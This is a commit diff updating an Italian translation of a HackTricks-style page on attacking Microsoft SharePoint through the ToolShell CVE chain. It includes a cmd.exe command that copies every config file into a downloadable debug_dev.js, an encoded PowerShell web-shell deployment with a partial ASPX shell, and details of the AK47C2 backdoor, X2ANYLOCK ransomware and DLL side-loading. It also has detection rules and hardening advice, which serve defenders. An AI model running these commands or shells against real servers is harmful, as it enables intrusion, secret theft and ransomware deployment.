Translated ['src/network-services-pentesting/pentesting-web/microsoft-sh

This commit is contained in:
Translator 2025-08-10 18:35:28 +00:00
parent 72c7b9be1b
commit 610a3bf9a1

View File

@ -29,7 +29,7 @@ python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
### 2.2 CVE-2025-49706 Improper Authentication Bypass
La stessa pagina si fida dell'intestazione **X-Forms_BaseUrl** per determinare il contesto del sito. Puntandola a `/_layouts/15/`, la MFA/SSO imposta nel sito principale può essere bypassata **senza autenticazione**.
La stessa pagina si fida dell'intestazione **X-Forms_BaseUrl** per determinare il contesto del sito. Puntandola a `/_layouts/15/`, l'MFA/SSO applicato al sito principale può essere bypassato **senza autenticazione**.
### 2.3 CVE-2025-53770 Unauthenticated ViewState Deserialization → RCE
@ -58,13 +58,13 @@ Inviare un parametro `Source` creato a `ToolPane.aspx` (ad es. `../../../../web.
```
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```
Il file risultante `debug_dev.js` può essere scaricato in modo anonimo e contiene **tutte** le configurazioni sensibili.
Il file `debug_dev.js` risultante può essere scaricato in modo anonimo e contiene **tutte** le configurazioni sensibili.
### 3.2 Distribuire una shell web ASPX codificata in Base64 (variazione-2)
```
powershell.exe -EncodedCommand <base64>
```
Esempio di payload decodificato (abbreviato):
Esempio di payload decodificato (accorciato):
```csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
@ -86,16 +86,67 @@ La shell espone endpoint per **leggere / ruotare le chiavi della macchina** che
Stessa shell ma:
* posizionata sotto `...\15\TEMPLATE\LAYOUTS\`
* nomi delle variabili ridotti a lettere singole
* `Thread.Sleep(<ms>)` aggiunto per evasione della sandbox e bypass basato sul timing.
* `Thread.Sleep(<ms>)` aggiunto per evasione della sandbox e bypass dell'AV basato sul timing.
### 3.4 Backdoor multi-protocollo AK47C2 e ransomware X2ANYLOCK (osservato 2025-2026)
Indagini recenti di risposta agli incidenti (Unit42 “Project AK47”) mostrano come gli attaccanti sfruttino la catena ToolShell **dopo il RCE iniziale** per distribuire un impianto C2 a doppio canale e ransomware negli ambienti SharePoint:
#### AK47C2 variante `dnsclient`
* Server DNS hard-coded: `10.7.66.10` che comunica con il dominio autorevole `update.updatemicfosoft.com`.
* I messaggi sono oggetti JSON crittografati con XOR con la chiave statica `VHBD@H`, codificati in esadecimale e incorporati come **etichette di sottodominio**.
```json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
```
* Le query lunghe sono suddivise e prefissate con `s`, quindi riassemblate lato server.
* Il server risponde in record TXT che trasportano lo stesso schema XOR/esadecimale:
```json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
```
* La versione 202504 ha introdotto un formato semplificato `<COMMAND>::<SESSION_KEY>` e marcatori di chunk `1`, `2`, `a`.
#### AK47C2 variante `httpclient`
* Riutilizza esattamente la routine JSON & XOR ma invia il blob esadecimale nel **corpo HTTP POST** tramite `libcurl` (`CURLOPT_POSTFIELDS`, ecc.).
* Stesso flusso di lavoro per compiti/risultati che consente:
* Esecuzione arbitraria di comandi shell.
* Intervallo di sonno dinamico e istruzioni di kill-switch.
#### Ransomware X2ANYLOCK
* Payload C++ a 64 bit caricato tramite side-loading DLL (vedi sotto).
* Utilizza AES-CBC per i dati dei file + RSA-2048 per avvolgere la chiave AES, quindi aggiunge l'estensione `.x2anylock`.
* Cripta ricorsivamente i drive locali e le condivisioni SMB scoperte; salta i percorsi di sistema.
* Rilascia una nota in chiaro `How to decrypt my data.txt` incorporando un **Tox ID** statico per le negoziazioni.
* Contiene un **kill-switch** interno:
```c
if (file_mod_time >= "2026-06-06") exit(0);
```
#### Catena di side-loading DLL
1. L'attaccante scrive `dllhijacked.dll`/`My7zdllhijacked.dll` accanto a un legittimo `7z.exe`.
2. `w3wp.exe` generato da SharePoint avvia `7z.exe`, che carica la DLL malevola a causa dell'ordine di ricerca di Windows, invocando il punto di ingresso del ransomware in memoria.
3. Un caricatore LockBit separato osservato (`bbb.msi``clink_x86.exe``clink_dll_x86.dll`) decritta il codice shell e esegue **DLL hollowing** in `d3dl1.dll` per eseguire LockBit 3.0.
> [!INFO]
> Lo stesso Tox ID statico trovato in X2ANYLOCK appare nei database LockBit trapelati, suggerendo sovrapposizione tra affiliati.
---
## 4. Idee di rilevamento
| Telemetria | Perché è sospetta |
|------------|-------------------|
|-----------|----------------------|
| `w3wp.exe → cmd.exe` | Il processo worker dovrebbe raramente generare una shell |
| `cmd.exe → powershell.exe -EncodedCommand` | Modello classico di lolbin |
| Eventi di file che creano `debug_dev.js` o `spinstall0.aspx` | IOCs direttamente da ToolShell |
| `ProcessCmdLine CONTIENE ToolPane.aspx` (log ETW/Modulo) | PoC pubbliche invocano questa pagina |
| `cmd.exe → powershell.exe -EncodedCommand` | Classico pattern lolbin |
| Eventi file che creano `debug_dev.js` o `spinstall0.aspx` | IOC direttamente da ToolShell |
| `ProcessCmdLine CONTAINS ToolPane.aspx` (log ETW/Module) | PoC pubblici invocano questa pagina |
Esempio di regola XDR / Sysmon (pseudo-XQL):
```
@ -104,14 +155,14 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
## 5. Indurimento e Mitigazione
1. **Patch** Gli aggiornamenti di sicurezza di luglio 2025 risolvono *tutti* e quattro i CVE.
2. **Ruotare** ogni `<machineKey>` e i segreti di `ViewState` dopo una compromissione.
2. **Ruotare** ogni `<machineKey>` e segreti `ViewState` dopo una compromissione.
3. Rimuovere il permesso di scrittura *LAYOUTS* dai gruppi `WSS_WPG` e `WSS_ADMIN_WPG`.
4. Bloccare l'accesso esterno a `/_layouts/15/ToolPane.aspx` a livello di proxy/WAF.
5. Abilitare **ViewStateUserKey**, **MAC abilitato** e *EventValidation* personalizzato.
5. Abilitare **ViewStateUserKey**, **MAC abilitato**, e *EventValidation* personalizzato.
## Trucchi correlati
* Post-sfruttamento di IIS e abuso di web.config:
* IIS post-exploitation e abuso di web.config:
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
@ -119,8 +170,9 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
## Riferimenti
- [Unit42 Sfruttamento attivo delle vulnerabilità di Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC Catena di sfruttamento ToolShell](https://github.com/real-or-not/ToolShell)
- [Avviso di sicurezza Microsoft CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Avviso di sicurezza Microsoft CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
- [GitHub PoC Catena di exploit ToolShell](https://github.com/real-or-not/ToolShell)
- [Microsoft Security Advisory CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Unit42 Progetto AK47 / Sfruttamento di SharePoint e attività di ransomware](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
- [Microsoft Security Advisory CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}